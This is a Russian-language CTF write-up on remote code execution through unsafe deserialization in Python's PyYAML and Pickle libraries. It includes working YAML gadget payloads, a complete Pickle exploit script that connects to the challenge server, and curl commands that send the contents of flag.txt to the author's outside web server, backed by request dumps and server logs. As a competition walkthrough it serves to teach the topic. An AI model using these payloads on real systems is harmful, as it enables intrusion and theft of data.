Эксплуатация уязвимостей, связанных с десериализацией, в Python

Эксплуатация уязвимостей, связанных с десериализацией, в Python

В этой статье я расскажу об эксплуатации проблем в механизме десериализации, используемого в библиотеках PyYAML и Pickle. Начинаем!

Автор: 1N3 (CrowdShield)

Недавно я принимал участие в мероприятиях ToorConCTF (https://twitter.com/toorconctf), где впервые имел опыт работы с брешами сериализации в Python. В двух заданиях, которые мы выполнили, исследуемые сущности работали на базе библиотеки в Python и использовали сериализованные объекты, что впоследствии становилось причиной уязвимостей, приводящих к удаленному выполнению кода (Remote Code Execution; RCE). Поскольку у меня возникли некоторые трудности с поиском материала по этой тематике, я решил написать пост с описанием моих открытий и кодом эксплоитов. В этой статье я расскажу об эксплуатации проблем в механизме десериализации, используемого в библиотеках PyYAML и Pickle. Начинаем!

Базовые сведения

Перед погружением в суть заданий, возможно, следует кратко коснуться основ затрагиваемого вопроса. Если вы не знакомы с уязвимостями, связанными с десериализацей, в выдержке из статьи Стивена Брина (@breenmachine) из команды Fox Glove Security  (https://foxglovesecurity.com), вероятно, суть этого класса брешей объясняется наилучшим образом:

«Существование уязвимостей десериализации связано с тем, что в большинстве языков программирования есть встроенные методы для пользователей, предназначенные для вывода данных приложения на диск или для дальнейшей передачи по сети. Процесс преобразования информации из приложения в другой формат (обычно бинарный), которые пригоден для передачи, называется сериализацией. Процесс чтения данных обратно после сериализации называется десериализацией. Уязвимость находится в коде, отвечающим за принятие сериализованных объектов от пользователей и выполняющим десериализацию для последующего использования в приложении. В зависимости от языка программирования эта схема может привести к различным последствиям, но наиболее интересная для нас – возможность удаленного выполнения кода».

Удаленное выполнение кода при десериализации в библиотеке PyYAML

В первом задании нам выдали URL веб-страницы с формой загрузки YAML-документа. После поиска примеров подобных документов я создал тестовый файл для загрузки с целью понять логику работы формы. 


Рисунок 1: Форма для загрузки YAML-документов

HTTP-запрос: 

POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 857

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml

---
# A list of global configuration variables
# # Uncomment lines as needed to edit default settings.
# # Note this only works for settings with default values. Some commands like --rerun <module>
# # or --force-ccd n will have to be set in the command line (if you need to)
#
# # This line is really important to set up properly
# project_path: '/home/user'
#
# # The rest of the settings will default to the values set unless you uncomment and change them
# #resize_to: 2048
'test'
-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"


-----------------------------200783363553063815533894329--

HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Sun, 03 Sep 2017 02:50:16 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2213
Set-Cookie: session=; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/

<!-- begin message block -->
<div class="container flashed-messages">
  <div class="row">
    <div class="col-md-12">
      <div class="alert alert-info" role="alert">

        test.yaml is valid YAML
      </div>
    </div>
  </div>
</div>
<!-- end message block -->

    </div>

</div>

  <div class="container main" >
    <div class="row">
        <div class="col-md-12 main">
            
  <code></code>
Как видно из запроса выше, документ был успешно загружен, однако в результате лишь появилась информация о том, что загрузился корректный YAML-документ. На тот момент у меня не было отчетливого понимания, что делать дальше. Но после более подробного изучения содержимого ответа я заметил, что сервер работает на базе gunicorn/19.7.1. Быстрый поиск выявил, что Gunicorn представляет собой веб-сервер на базе Python. Сей факт натолкнул меня на мысль о том, что YAML-парсер на самом деле был Python-библиотекой. Далее я решил поискать уязвимости в библиотеке Python YAML и нашел несколько статей с описанием брешей, связанных с десериализацией, в PyYAML, где был код, запускающий команду «ls» в случае, если приложение имеет проблемы в механизме десериализации:

!!map {
  ? !!str "goodbye"
  : !!python/object/apply:subprocess.check_output [
    !!str "ls",
  ],
}

Далее я решил сразу перейти к процессу эксплуатации и добавил полезную нагрузку в документ, загружаемый при помощи пакета Burp Suite.


POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 445

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml

---
!!map {
  ? !!str "goodbye"
  : !!python/object/apply:subprocess.check_output [
    !!str "ls",
  ],
}

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"


-----------------------------200783363553063815533894329--

<ul><li><code>goodbye</code> : <code>Dockerfile
README.md
app.py
app.pyc
bin
boot
dev
docker-compose.yml
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
requirements.txt
root
run
sbin
srv
static
sys
templates
test.py
tmp
usr
var
 Как видно из кода выше, полезная нагрузка сработала, и мы смогли выполнить код на целевом сервере. Теперь, все что нам нужно - прочитать файл flag.txt.

Однако я быстро выяснил, что вышеуказанный метод может запускать только одну команду (например, ls, whoami, и т. д.). Сей факт означает, что считать файл flag.txt при помощи этого способа мы не сможем. Затем я выяснил, что Python-вызов под именем os.system также позволяет удаленное выполнение, но уже нескольких команд, однако в процессе использования этого метода я получал значение «0» вместо результата выполнения команды. Затем мой напарник @n0j обратил мое внимание на то, что вызов os.system ["текст команды" ] возвращает «0», если команда выполнилась успешно и не затрагивает обработку подчиненного процесса. Используя этот трюк, я пытался считать файл flag.txt при помощи следующей команды: curl https://crowdshield.com/?`cat flag.txt`

HTTP-запрос:

POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 438
 -----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml
 ---
"goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"]

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"</div>

  <div class="container main" >
    <div class="row">
        <div class="col-md-12 main">
            
  <ul><li><code>goodbye</code> : <code>0</code></li></ul>
            
        </div>
    </div>
  </div>

После некоторых проб и ошибок флаг был считан, и мы получили очки в этом соревновании!

Логи удаленного веб-сервера Apache:

34.214.16.74 - - [02/Sep/2017:21:12:11 -0700] "GET /?ItsCaptainCrunchThatsZeldasFavorite HTTP/1.1" 200 1937 "-" "curl/7.38.0"

Десериализация в библиотеке Python Pickle

В следующем задании нам дали хост и порт для соединения: ganon.39586ebba722e94b.ctf.land:8000. После первоначального подключения никаких результатов не отобразилось, и я решил отправлять на открытый порт случайные символы и HTTP-запросы. После того как дело дошло до инжектирования одиночного символа «’» я получил следующую ошибку:

# nc -v ganon.39586ebba722e94b.ctf.land 8000
ec2-34-214-16-74.us-west-2.compute.amazonaws.com [34.214.16.74] 8000 (?) open
cexceptions
AttributeError
p0
(S"Unpickler instance has no attribute 'persistent_load'"
p1
tp2
Rp3
.

Место, которое сразу же бросается в глаза – S"Unpickler instance has no attribute 'persistent_load'" (у экземпляра Unpickler нет атрибута 'persistent_load'). Я тут же начал искать информацию, касающуюся этой ошибки, и нашел несколько ссылок на библиотеку сериализации с именем "Pickle".

Вскоре стало понятно, что эта ошибка стала следствием еще одной уязвимости, связанной с десериализацией, которая позволила получить флаг. Далее я поискал эксплоиты на базе брешей десериализации библиотеки Pickle и нашел код, схожий с тем, что показан ниже. После доработки кода я получил рабочий эксплоит, посылающий сериализованный объекты на целевой сервер, содержащие команды по моему выбору.

Код эксплоита:


#!/usr/bin/python
# Python Pickle De-serialization Exploit by [email protected] - https://crowdshield.com
#

import os
import cPickle
import socket
import os

# Exploit that we want the target to unpickle
class Exploit(object):
    def __reduce__(self):
        # Note: this will only list files in your directory.
        # It is a proof of concept.
        return (os.system, ('curl https://crowdshield.com/.injectx/rce.txt?`cat flag.txt`',))

def serialize_exploit():
    shellcode = cPickle.dumps(Exploit())
    return shellcode

def insecure_deserialize(exploit_code):
    cPickle.loads(exploit_code)

if __name__ == '__main__':
    shellcode = serialize_exploit()
    print shellcode

    soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    soc.connect(("ganon.39586ebba722e94b.ctf.land", 8000))
    print soc.recv(1024)

    soc.send(shellcode)
    print soc.recv(1024)
    soc.close()

Пример эксплуатации


# python python_pickle_poc.py
cposix
system
p1
(S"curl https://crowdshield.com/rce.txt?`cat flag.txt`"
p2
tp3
Rp4
.

К моему удивлению этот трюк сработал и смог увидеть содержимое файла flag.txt в логах моего Apache!

Логи удаленного веб-сервера Apache:


34.214.16.74 - - [03/Sep/2017:11:15:02 -0700] "GET /rce.txt?UsuallyLinkPrefersFrostedFlakes HTTP/1.1" 404 2102 "-" "curl/7.38.0"

Заключение

Теперь вы знаете два практических примера эксплуатации сериализации в Python для выполнения кода в удаленных приложениях. Я получил большое удовольствие и много опыта, участвуя в этих соревнованиях. К сожалению, из-за разных обстоятельств я не смог уделить этим состязаниям больше времени. В итоге наша команда «SavageSubmarine», составе которых принимали участие @hackerbyhobby, @baltmane and @n0j (http://n0j.github.io/), заняла 7 место.

До скорых встреч.



Мир сходит с ума и грянет киберапокалипсис. Подпишись на наш Телеграм канал, чтобы узнать первым, как выжить в цифровом кошмаре!